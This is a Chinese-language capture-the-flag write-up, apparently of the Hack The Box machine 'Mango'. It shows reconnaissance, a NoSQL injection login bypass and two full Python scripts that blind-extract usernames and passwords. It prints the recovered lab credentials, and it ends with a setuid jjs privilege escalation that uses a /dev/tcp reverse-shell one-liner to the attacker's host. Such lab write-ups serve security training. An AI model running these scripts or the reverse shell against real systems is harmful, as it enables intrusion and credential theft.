目标信息
IP地址:
10.10.10.162
信息收集
ICMP检测
┌──(root㉿misaka19008)-[/home/…/Documents/pentest_notes/mango/nmap_reports]
└─# ping -c 4 10.10.10.162
PING 10.10.10.162 (10.10.10.162) 56(84) bytes of data.
64 bytes from 10.10.10.162: icmp_seq=1 ttl=63 time=493 ms
64 bytes from 10.10.10.162: icmp_seq=2 ttl=63 time=624 ms
64 bytes from 10.10.10.162: icmp_seq=3 ttl=63 time=250 ms
64 bytes from 10.10.10.162: icmp_seq=4 ttl=63 time=250 ms
--- 10.10.10.162 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3003ms
rtt min/avg/max/mdev = 250.057/404.533/624.412/161.095 ms
攻击机和靶机网络连接状态良好。
防火墙检测
# Nmap 7.94SVN scan initiated Fri Aug 2 08:15:25 2024 as: nmap -sF -p- --min-rate 2000 -oN ./fin_result.txt 10.10.10.162
Warning: 10.10.10.162 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.162 (10.10.10.162)
Host is up (0.50s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open|filtered ssh
80/tcp open|filtered http
443/tcp open|filtered https
# Nmap done at Fri Aug 2 08:17:31 2024 -- 1 IP address (1 host up) scanned in 125.30 seconds
靶机开放了3
个TCP
端口。
网络端口扫描
TCP
端口扫描结果
# Nmap 7.94SVN scan initiated Fri Aug 2 08:29:53 2024 as: nmap -sS -sV -A -p 22,80,443 -oN ./tcp_result.txt 10.10.10.162
Nmap scan report for 10.10.10.162 (10.10.10.162)
Host is up (0.32s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
| tls-alpn:
|_ http/1.1
|_http-title: Mango | Search Base
|_http-server-header: Apache/2.4.29 (Ubuntu)
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (96%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 3.18 (94%), Linux 5.0 (94%), Linux 3.16 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 5.1 (93%), Oracle VM Server 3.4.2 (Linux 4.1) (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 372.82 ms 10.10.14.1 (10.10.14.1)
2 373.01 ms 10.10.10.162 (10.10.10.162)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Aug 2 08:30:43 2024 -- 1 IP address (1 host up) scanned in 49.83 seconds
UDP
端口开放列表扫描结果
# Nmap 7.94SVN scan initiated Fri Aug 2 08:37:17 2024 as: nmap -sU -p- --min-rate 2000 -oN ./udp_ports.txt 10.10.10.162
Warning: 10.10.10.162 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.162 (10.10.10.162)
Host is up (0.68s latency).
All 65535 scanned ports on 10.10.10.162 (10.10.10.162) are in ignored states.
Not shown: 65162 open|filtered udp ports (no-response), 373 closed udp ports (port-unreach)
# Nmap done at Fri Aug 2 08:43:33 2024 -- 1 IP address (1 host up) scanned in 376.33 seconds
UDP
端口详细信息扫描结果
(无)
同时发现靶机操作系统为Ubuntu Linux
,主域名mango.htb
,子域名staging-order.mango.htb
。
服务探测
SSH服务(22端口)
端口Banner
:
┌──(root㉿misaka19008)-[/home/megumin/Documents/pentest_notes/mango]
└─# nc -nv 10.10.10.162 22
(UNKNOWN) [10.10.10.162] 22 (ssh) open
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3
Web应用程序(80端口)
主域名
打开主页:http://mango.htb/
尝试扫描目录,没有任何结果。
子域名
打开主页:http://staging-order.mango.htb/
发现登录框,尝试进行SQL
注入测试和硬编码测试,未果,直接扫描目录:
# Dirsearch started Fri Aug 2 09:36:07 2024 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u http://staging-order.mango.htb/ -x 400,403,404 -t 60 -e php,js,html,txt,tar.gz,zip,pcap
302 0B http://staging-order.mango.htb/home.php -> REDIRECTS TO: index.php
200 0B http://staging-order.mango.htb/vendor/composer/autoload_psr4.php
200 0B http://staging-order.mango.htb/vendor/autoload.php
200 0B http://staging-order.mango.htb/vendor/composer/autoload_static.php
200 0B http://staging-order.mango.htb/vendor/composer/autoload_classmap.php
200 0B http://staging-order.mango.htb/vendor/composer/autoload_namespaces.php
200 4KB http://staging-order.mango.htb/vendor/composer/installed.json
200 3KB http://staging-order.mango.htb/vendor/composer/LICENSE
200 0B http://staging-order.mango.htb/vendor/composer/autoload_files.php
200 0B http://staging-order.mango.htb/vendor/composer/autoload_real.php
200 0B http://staging-order.mango.htb/vendor/composer/ClassLoader.php
尝试访问/vendor/composer/installed.json
,成功发现该页面使用了mongo-php-adapter
,版本为v1.1.19
,说明后端使用了MongoDB
:
尝试使用NoSQL
注入,成功发现该页面有注入点。
Web应用程序(443端口)
尝试打开主页:https://mango.htb/
发现主页上有一个搜索框、一处文本和一个Analytics
超链接。访问该超链接,发现跳转到了analytics.php
:
发现该页面为Flexmonster
网络报告数据透视表系统,版本为v2.9.82
。
尝试扫描目录,未发现任何有效信息。
渗透测试
NoSQL盲注漏洞利用
发现网站使用了PHP MongoDB
驱动之后,尝试将用户名和密码参数变为键名为$ne
的数组,构造永真式绕过登录:
发现如果登录成功,页面会返回302
,否则返回200
,而登录后的界面只有一个邮箱admin@mango.htb
:
鉴于在当前页面登录请求中添加特殊NoSQL
符号无法达到报错的效果,判断该页面漏洞为无回显NoSQL
注入,直接使用布尔盲注的方法注出当前集合内的用户名和密码:
#! /usr/bin/python3
import time
import requests
target = "http://staging-order.mango.htb/"
headers = {
"Host": "staging-order.mango.htb",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://staging-order.mango.htb",
"Connection": "keep-alive"
}
def post(login_data):
global target
global hedaers
return requests.post(url=target, headers=headers, data=login_data, allow_redirects=False)
def get_users(user):
print("[*] Now starting to get the usernames ......")
userlist = user
if len(userlist) == 0:
char_count = 0
for i in range(33, 127):
if chr(i) in ['*', '+', '.', '?', '|', '#', '&', '$', '^']: continue
login_form = {"username[$regex]":"^"+chr(i), "password[$ne]":"", "login":"login"}
print("[*] Trying ASCII code %d (%s)"%(i,login_form))
resp = post(login_form)
if resp.status_code == 302:
char_count = char_count + 1
userlist.append(chr(i))
print("[+] Found a char: %s"%(chr(i)))
elif resp.status_code == 200: continue
else: exit("[-] Network error!")
if char_count == 0: exit("[-] There is no record in the collection!")
else: print(userlist);get_users(userlist)
len_list = len(userlist)
total_newChars = 0
for i in range(0, len_list):
char_count = 0
for j in range(33, 127):
if chr(j) in ['*', '+', '.', '?', '|', '#', '&', '$', '^']: continue
login_form = {"username[$regex]":"^"+userlist[i]+chr(j), "password[$ne]":"", "login":"login"}
print("[*] Trying ASCII code %d (%s)"%(j,login_form))
resp = post(login_form)
if resp.status_code == 302:
char_count = char_count + 1
total_newChars = total_newChars + 1
userlist.append(userlist[i] + chr(j))
print("[+] Found a char: %s"%(chr(j)))
elif resp.status_code == 200: continue
else: exit("[-] Network error!")
if char_count != 0:
userlist.pop(i)
else: continue
if total_newChars == 0: return userlist
else: print(userlist);print(total_newChars);get_users(userlist)
print(get_users(list()))
成功获取集合中的2
个用户名:admin
、mango
。
使用如下函数获取以上用户名的密码长度:
def getPasswdLength():
pwd_lenlist = list()
userlist = ["admin", "mango"]
for i in userlist:
pwdlen = 0
while True:
pwdlen = pwdlen + 1
login_form = {"username[$eq]": i, "password[$regex]":".{%d}"%(pwdlen)}
print(login_form)
resp = post(login_form)
if resp.status_code == 302: continue
elif resp.status_code == 200: pwd_lenlist.append(pwdlen - 1);break
else: exit("[-] Network error!")
print(pwd_lenlist)
得知admin
用户的密码长度为12
,而mango
用户的密码长度为16
。
接下来使用如下脚本获取两个用户的密码:
#! /usr/bin/python3
import time
import requests
target = "http://staging-order.mango.htb/"
headers = {
"Host": "staging-order.mango.htb",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://staging-order.mango.htb",
"Connection": "keep-alive"
}
def post(login_data):
global target
global hedaers
return requests.post(url=target, headers=headers, data=login_data, allow_redirects=False)
username = "admin"
length = 12
password = ""
for i in range(0, length):
print("[*] Getting the char #%d"%(i+1))
for j in range(33, 127):
if chr(j) in ['*', '+', '.', '?', '|', '&', '$', '^']: continue
login_form = {"username[$eq]": username, "password[$regex]": "^"+password+chr(j), "login":"login"}
resp = post(login_form)
if resp.status_code == 302:
print("[+] Found a char: %s (ASCII code %d)"%(chr(j), j))
password = password + chr(j)
break
elif resp.status_code == 200: continue
else: exit("[-] Network error!")
print("[+] admin: %s"%(password))
username = "mango"
length = 16
password = ""
for i in range(0, length):
print("[*] Getting the char #%d"%(i+1))
for j in range(33, 127):
if chr(j) in ['*', '+', '.', '?', '|', '&', '$', '^']: continue
login_form = {"username[$eq]": username, "password[$regex]": "^"+password+chr(j), "login":"login"}
resp = post(login_form)
if resp.status_code == 302:
print("[+] Found a char: %s (ASCII code %d)"%(chr(j), j))
password = password + chr(j)
break
elif resp.status_code == 200: continue
else: exit("[-] Network error!")
print("[+] mango: %s"%(password))
成功获取并验证2
个用户登录凭据:
- 用户名:
admin
,密码:t9KcS3>!0B#2
- 用户名:
mango
,密码:h3mXK8RhU~f{]f5H
尝试使用mango
用户登录SSH
:
成功!!!
权限提升
移动至admin用户
登录到系统之后,尝试使用su
命令切换至admin
用户(拖库获取的密码),成功:
本地信息收集
基本系统信息
进程列表
计划任务列表
环境变量
用户信息
用户家目录
特殊权限文件
开放端口信息
敏感文件权限
经分析研判,发现/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
权限为4755
,属主为root
,且链接/usr/bin/jjs
指向了该程序,决定以其为入口进行提权。
JJS提权
经联网查询,发现运行如下命令,就可以通过JJS
启动一个新Bash
环境并反弹Shell:
echo "Java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-pc','exec 5<>/dev/tcp/10.10.14.2/4444;cat <&5 | while read line; do $line 2>&5 >&5; done']).waitFor()" | jjs
直接执行:
提权成功!!!!